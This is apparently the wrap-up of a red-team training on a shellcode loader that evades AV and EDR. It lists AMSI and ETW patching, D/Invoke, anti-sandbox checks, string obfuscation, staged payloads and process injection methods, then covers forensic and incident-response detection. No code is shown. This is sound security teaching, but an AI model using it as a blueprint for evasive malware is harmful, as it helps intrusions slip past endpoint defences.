The main goal of this training was to teach you a certain mindset on how adversaries think and operate when building loaders that can bypass common detection mechanisms. By understanding these techniques, you will be better equipped to analyze, detect, and respond to such threats in real-world scenarios.

Key Learning Outcomes:

  • Understanding AV/EDR architecture and detection engines (static, dynamic, behavioral, emulation)
  • Building a modular shellcode loader from scratch
  • Implementing AMSI and ETW bypass techniques
  • Using D/Invoke to avoid static IAT analysis
  • Applying anti-emulation techniques to evade sandbox detection
  • Understanding string obfuscation and XOR encoding methods
  • Analyzing our own code with forensic tools (PE Studio, CAPA, GoCheck64, strings)

Important Context

CRITICAL: This loader is not intended to be undetectable in a production environment. Real-world scenarios require much more complex and sophisticated implementations. Every security product has its own detection mechanisms, and what works against one may not work against another. The techniques demonstrated here are for educational purposes only and should be used responsibly.


2. OUR LOADER: WHAT WE BUILT

Core Implementation

We successfully built a modular shellcode loader using standard Windows APIs:

  • VirtualAlloc: Memory allocation for shellcode
  • WriteProcessMemory: Writing shellcode to allocated memory
  • CreateThread: Executing the shellcode in a new thread

Evasion Techniques Implemented:

  • AMSI Bypass: Patching the AmsiScanBuffer function to prevent script content inspection
  • ETW Patching: Disabling Event Tracing for Windows to avoid behavioral telemetry
  • D/Invoke (Dynamic Invoke): Resolving Windows APIs at runtime to avoid static IAT signatures
  • Anti-Emulation: DNS TXT record validation and time-based checks to detect sandboxed environments
  • String Obfuscation: XOR encoding and Base64 encoding to hide suspicious strings
  • Staged Payload Delivery: Retrieving encrypted payloads from remote servers

Limitations & Reality Check

Obviously, this is just a basic implementation. In a real-world scenario, additional layers of obfuscation, encryption, and anti-analysis techniques would be necessary to further enhance the loader's stealth and effectiveness.


3. ADVANCED TECHNIQUES (BEYOND THIS TRAINING)

3.1 Alternative API Approaches

  • Windows NT API (Native API): Using lower-level APIs like NtAllocateVirtualMemory instead of VirtualAlloc makes detection harder. Avoiding high-level functions like CreateThread reduces behavioral signatures.

  • Direct/Indirect Syscalls: Bypassing user-mode API hooks entirely by invoking system calls directly from user-mode code. This is extremely effective against EDR products that rely on user-mode hooking.

3.2 Remote Process Injection Techniques

Remote process injection techniques can hide payload execution within legitimate processes, making detection significantly harder:

  • Process Hollowing: Unmapping legitimate process memory and replacing it with malicious code
  • Thread Hijacking: Suspending legitimate threads and redirecting execution to malicious code
  • APC (Asynchronous Procedure Call) Injection: Queuing malicious code execution in existing thread APC queues
  • Reflective DLL Injection: Loading DLLs directly from memory without touching disk
  • Process Doppelgänging: Abusing NTFS transactions to load malicious images
  • Process Herpaderping: Obscuring process image on disk after loading into memory

3.3 Kernel-Level Attacks

Attacking AV/EDR directly is commonly done by using vulnerable drivers to disable or bypass security products (BYOVD - Bring Your Own Vulnerable Driver):

  • Kernel-level attacks are much more effective but also more complex and risky
  • Requires signed drivers (often abusing legitimate vulnerable drivers)
  • Can disable security products, remove callbacks, or modify kernel memory
  • Examples: Terminating protected processes, disabling ETW providers, removing minifilter drivers

NOTE: We have focused on user-mode techniques in this training. Kernel-level attacks require deeper knowledge and carry significantly higher risks of system instability.

3.4 Integration Possibilities

Consider these techniques as additional layers that can be integrated into the loader to further enhance its stealth and evasion capabilities. Each layer adds complexity but also increases the chances of bypassing modern security solutions.

And who knows, maybe we are already working on an advanced version of this loader for a future training ;)


4. DEFENSIVE PERSPECTIVE: FORENSICS

When analyzing systems for forensic purposes, it's crucial to understand the techniques used by loaders like the one we built. There are many more tools and techniques that can be used to analyze and detect such loaders.

4.1 Forensic Analysis Techniques

Memory Forensics:

  • Tools: Volatility
  • Use Cases: Analyze memory dumps for signs of injected code, hollow processes, or anomalous memory regions
  • Detection: Identify suspicious memory permissions (RWX), unbacked memory sections, or process token manipulation

Behavioral Analysis (Sandboxes):

  • Tools: Cuckoo Sandbox, Any.Run, Joe Sandbox
  • Use Cases: Monitoring system behavior during execution to identify suspicious activities
  • Detection: Network connections, file modifications, registry changes, process injections

Static Analysis:

  • Tools: PE Studio, CAPA, SystemInformer, dnSpy (for .NET)
  • Use Cases: Analyzing the binary structure, imports, strings, and capabilities
  • Detection: Suspicious imports, obfuscated strings, packer signatures, entropy anomalies

Debugging and Disassembly:

  • Tools: x64dbg, WinDbg, IDA Pro, Ghidra, Binary Ninja
  • Use Cases: Reverse-engineering the loader to understand its inner workings
  • Detection: Identifying unpacking routines, decryption algorithms, or anti-debugging tricks

NOTE: Comprehensive forensic analysis would require another full training dedicated to these techniques. We've provided the foundational understanding needed to get started.


5. DEFENSIVE PERSPECTIVE: INCIDENT RESPONSE

In an incident response scenario, detecting and mitigating threats posed by loaders like the one we built is critical. Here are key strategies that can be employed:

5.1 Detection Strategies

Endpoint Detection and Response (EDR) Solutions:

  • Deploy EDR solutions that monitor for suspicious behaviors
  • Alert on unusual memory allocations, process creation chains, or API call patterns
  • Implement behavioral detection rules for common injection techniques
  • Monitor for IAT tampering, inline hooking, or AMSI/ETW bypass attempts

Network Monitoring:

  • Analyze network traffic for signs of command-and-control (C2) communications
  • Detect data exfiltration attempts or unusual outbound connections
  • Monitor DNS queries for suspicious domains or TXT record queries
  • Implement SSL/TLS inspection to detect encrypted C2 channels

Threat Intelligence:

  • Leverage threat intelligence feeds to stay updated on the latest TTPs (Tactics, Techniques, and Procedures)
  • Integrate YARA rules and IOC (Indicators of Compromise) feeds
  • Participate in information sharing communities (ISACs, CERTs)

5.2 Response Procedures

Incident Response Playbooks:

  • Develop and follow incident response playbooks outlining steps for loader detection
  • Containment: Isolate affected systems, block C2 communications
  • Eradication: Remove malicious artifacts, restore compromised files
  • Recovery: Restore systems from clean backups, validate integrity
  • Lessons Learned: Document incidents, update detection rules

User Education and Awareness:

  • Train users to recognize phishing attempts and social engineering tactics
  • Implement security awareness programs focusing on email attachments and malicious links
  • Conduct regular red team exercises to test organizational readiness

5.3 Tools We Covered

We have focused on Velociraptor and Sysmon in this training, but there are many more tools and techniques that can be used in incident response scenarios. These provide the foundation for building a robust detection and response capability.


6. FINAL THOUGHTS

Thank you for completing this training! You should now have a solid understanding of:

  • How to build a modular shellcode loader that can bypass common detection mechanisms
  • How AMSI and ETW can be bypassed and what defenders can do about it
  • How D/Invoke and dynamic API resolution work to evade static analysis
  • How to implement anti-emulation techniques to evade sandbox detection
  • The offensive mindset required to build evasive tools
  • The defensive perspective needed to detect and respond to such threats

Key Takeaways

  • Offense informs defense: Understanding attacker techniques makes you a better defender
  • Defense informs offense: Understanding detection mechanisms makes you a better red teamer
  • Layered approach: Both attack and defense require multiple layers—no single technique is foolproof
  • Continuous learning: The cat-and-mouse game between attackers and defenders never ends

We have provided you with the basic insights into forensic analysis and incident response related to such loaders. The techniques and tools covered here form the foundation for both offensive security assessments and defensive operations.


7. DISCLAIMER

IMPORTANT: The techniques and methods discussed in this training are intended for educational purposes only. Unauthorized use of these techniques on systems without explicit permission is illegal and unethical. Always ensure you have proper authorization before conducting any security testing or assessments.

Legal Considerations:

  • Obtain written permission before testing on any system
  • Operate within the scope of your authorized engagement
  • Comply with all applicable laws and regulations
  • Use these techniques responsibly and ethically
  • Report vulnerabilities through responsible disclosure channels

Ethical Guidelines:

  • Never use these techniques for malicious purposes
  • Respect privacy and confidentiality
  • Understand the impact of your actions on systems and users
  • Continuously educate yourself on legal and ethical boundaries
  • Contribute positively to the security community

Technology is only as good as the knowledge of the people using it!